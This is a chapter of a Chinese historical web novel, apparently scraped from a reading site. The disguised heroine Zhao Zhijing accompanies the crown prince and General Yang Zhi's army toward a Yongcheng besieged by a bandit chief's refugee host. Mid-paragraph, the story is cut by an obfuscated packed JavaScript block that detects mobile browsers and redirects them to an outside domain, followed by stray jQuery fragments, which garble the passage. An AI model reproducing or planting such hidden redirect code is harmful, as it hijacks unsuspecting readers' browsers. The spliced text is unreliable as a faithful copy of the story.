现场一阵难言的沉默。
靴子里的脚趾都快抠出三室一厅了,赵知静真想找个地方钻进去啊。
听到这内幕的留白,简直快哭了,遇到这位姑奶奶真是没好事。
“一晚上没回去,家里人该担心了,祖母还在庄子里等我呢,就不打扰殿下了,麻烦你找个人送我下山去吧。”
赵知静温声温语地说话。
刘裕也不再纠结刚才的话题,只道:“山下都是流民,没人陪你回去。”
“那我怎么办?”赵知静傻眼了。
“怕什么?孤看你胆子不小,过两天带你杀回雍城怎么样?”刘裕淡淡道。
赵知静觉得不怎么样。
这不是把她架在火架子上烤吗?
“其实吧,后山那条路,虽然崎岖了点,也是能走的。”赵知静打着商量。
刘裕回:“走不了。”
赵知静怒:“为什么?”
“马上就有流民过去了。”刘裕轻飘飘地挥了挥手,留白如一溜烟儿似的跑了。
赵知静:“……”你大爷的!
赵知静被迫留在了庙里,也不知道山下的局势怎么样。
他们是整整在庙里呆了三天才下的山。
刘裕没有着急下山,而是吩咐人一把火烧了身后的寺庙。
怕火烧不起来,还派人洒了油,熊熊大火燃起,几百年的古寺就这么被一把火扬了,曾经辉煌的奉国寺被大火付之一炬,寺庙上方聚起了浓浓的烟雾,赵知静站在火光外,鼻子里满满的烟尘味儿,耳边是木料被烧起来的声音:
噼啪噼啪。
刘裕站在前面,眼神沉静。
橙红色的光芒,落在他眼底,跳动的火苗里,闪动着不知名的东西。
“走吧?”
留白朝着自己使了好几个眼色,赵知静没法,先开口了。
刘裕没说话。
不等大火烧尽,刘裕等人下了山。
山下,乌压压的军队停在原地,这么多人呆在一处,竟然没有喧哗,安静得不可思议,这支军队就仿佛凭空出现一样,一眼望过去,气势凛然。
见到来人,骑在马上、身披铠甲的中年男人翻身下马,跪在地上,双手抱拳,神情激动地道:
“卑职杨志见过太子!”
刘裕上前,扶起对方:“杨将军请起。”
杨志似乎过于激动了,脸庞泛着红光,当下就发自肺腑地喊道:“杨志此次与太子共存亡!”
刘裕点点头。
两人走到一边的军帐里商量事情去了。
此时的赵知静穿了一身男装,装作刘裕的侍卫,跟留白站在了一处。
留白眼神也颇为激动,此时正跟赵知静嘀嘀咕咕,普及着北周几位将军的情况。
北周有四大将军,除了镇北候以外,其余三位,分别姓刘、李、杨,今天来此地的便是杨将军杨志,他所掌的西南军,军纪最为严明,是除镇北候外,打胜仗最多的军队,留白顿了顿,继续道:
“而这位杨将军,与侯爷颇为不睦。”
赵知静看了眼守卫森严的帐篷,道:“他与我爹的恩怨,关我什么事?一个大将军,不会这么掉价的,跟小姑娘计较吧。”
留白眼神飘忽:“咳咳,那,那位将军心细如发,比较认死理,有时候,也不是那么好说话的。”
“你说他斤斤计较、小肚鸡肠?”赵知静直接道。
“属下可没这么说!”留白连忙看了眼周围,好在他们这些人离对方军队有点距离,叹了口气,无奈道:“县主,您还是离杨将军远一些吧。”
半个时辰过后,刘裕两人出了帐篷。
杨志已经给太子准备好了出行的一切事宜,刘裕带着赵知静扮作的小厮上了马车。
马车里空间极大,坐七八个人都可以,里面桌子、软榻俱全,甚至连茶水、小食都备了,刘裕一上马车就开始闭目养神,似乎很是疲惫。赵知静上来过后,坐在刘裕对面,好奇地东摸摸西摸摸,最后满足了好奇心,自己给自己倒了茶,正准备饮下,手腕就被对面的男人抓住了。
赵知静:“……你也想喝?”
她试探地把杯子递过去。
刘裕无可奈何睁开眼,手上用了点力,赵知静杯子里的水就全撒了个干净。
“外间的东西不要动。”
赵知静咽了口唾沫:“这水里有毒?”
对面的男人又把眼睛闭上了,声音很轻,但确保赵知静能够听到:“谁知道呢?”
赵知静:“……”
这就是留白说的心腹?
那位杨将军看来很信任太子,甚至把身家性命都给压上了,不过太子本人就不一定了。
将士们在雪地里疾行,沿路的百姓跟分散的流民都主动避开。
雍城城门下。
一股已经形成了势力的流民军驻扎在城门外,与雍城的护城军对峙着,流民们有的裹着破碎的棉絮,有的直接衣衫褴褛,不过相同的是,眼睛里都是赤裸裸的仇恨,接近城门的空地上血迹斑斑,一看就是双方已经展开了不少次交锋,以血的代价。
此时,城门上的一个侍卫注意到了不同,他拉拉身边的同僚:
“快看!那是什么?”
“不会是新的流民吧?娘的,要是来这么多,咱们这城可守不住!”
“不不不,你看那动静,不可能是没规矩的流民!”
“难道是刘将军派人过来了?”
“快通知头儿!”
军队的到来,引起了流民极大的惶恐,但军队行至离城门五十步开外后,就停下来了,让城门上的人傻了眼。
此时流民的中心,一位身着六分新袍子、满脸络腮胡的男人,正皱眉听着手下人的汇报。
“来的人可是刘青那老东西?”
“主公,属下让人去看了,看起来不像。”
张能眉头紧缩,抓住来人的肩膀,逼问道:“你确定不是?”
“回主公,真不是,属下在刘青那老东西地盘混过,他那军队,狗屁不是,啥人都收,比属下还像土匪。”回话的人叫做马面,身材矮小,长相猥琐,以前就爱干些偷鸡摸狗的事儿,自诩有几分聪明,又油嘴滑舌,混成了张能身边得力的手下。
张能不过是个土匪头子,本想趁着流民混乱,抢几波豪富,然后偷渡到南面过活,结果一路上神奇又好运地避过了官府的各种围剿,势力越来越大,竟是到了可以包围皇城的地步,许是太过轻松,张能居然做起了陛下的美梦。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192293|179722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“来人有多少?”张能捋了捋胡子问道。
马面抓了抓耳朵,估算了个数字:“大概有个几千人吧。”
“大概多少?”张能声量大得很,给马面耳朵震得不轻。
“五六千?”
“五六千?”张能哈哈大笑,提过桌子上的酒壶给自己灌了一口:“怕什么?老子不怕!老子这里三四万人,就算是刘青那老东西一道过来,他们人也没有老子多!”
“老子今年要当陛下!”
“王位轮流坐,今年轮到老张家,哈哈哈哈——嗝”
马面皱着脸,悄摸摸退了出去。
这地儿不能久留了。
五六千的军队,你哪怕是十万的流民都不一定能够胜出,马面在心里唾弃了翻,张能这个大傻子,以为打仗是儿戏?马面摇摇头,想着悄悄回自己帐篷里收拾收拾,准备跑路。
另一边。
城门上的人就是再迟钝也清醒过来了。
来的人绝对不是刘青刘将军,就是不知道是哪路将军,这时候出现在这里,没有陛下口谕不说,到了也没有多余的表示,怕来者不善啊。
“派个人过去探探,看看是哪位将军。”羽林军的头领吩咐了句。
“属下看来的人数可不少,若是逼宫的话……”手下话没有说完,但听的人都知道啥意思。
“不会,”羽林军头领周放摇头,道:“只要镇北候一日在边关驻守,其他几位将军就不敢踏出这一步,可惜咱们这位陛下一直忌惮侯爷,这些年变本加厉,镇北候府都快在雍城沦落到边缘人家了,不起战事还好,一旦战事起,呵呵。”
那手下听了这话,脸色有些不对。
周放眼神犀利地看过去:“想说什么?”
“头儿,属下听闻,前不久朝廷的人去镇北候府要粮,去了几波人,后来不知怎么着,安定县主连着整府人都消失了,那些被遣散了的下人也说不清主家去了哪里,现在为了这事儿,京兆尹与永王那边在扯皮呢。”
“消失了?他们怎么敢!”周放是个暴脾气,当即就怒了:
“还要粮,要个屁!陛下老糊涂了,那永王也老糊涂了不成?”
“镇北候府,可以敬着,可以远着,就是不能直接去搞人家,这不是乱来吗!莫不是想逼反镇北侯?陛下嫌屁股底下的王位烫□□了吗?!!”
“头儿,慎言!”那属下擦了擦汗。
周冲压下怒气,质问属下道:“咱们的人没有掺和进去吧?”
“没有,咱们的人不敢。”
时间都过了这么久才报上来,还有个屁用,周放只觉得心累,最后说道:“私底下派人在城里找找,其他人就算了,一定要找到安定县主,一旦发现,秘密保护,不要被其他势力害了性命。”
“是,头儿!”
与此同时,赵知静正坐在马车里,无语又无奈地靠着软枕,半点不敢动。
无他,这位太子爷在马车里睡着了,也不知道多久没合眼了,此时睡得很沉,留白用眼神威胁自己,要是敢把他主子吵醒,后果自负。
这也就是其他两路人马所猜不到的,队伍之所以久久没有动作,只因为:
太子睡着了。
简直离了个大谱。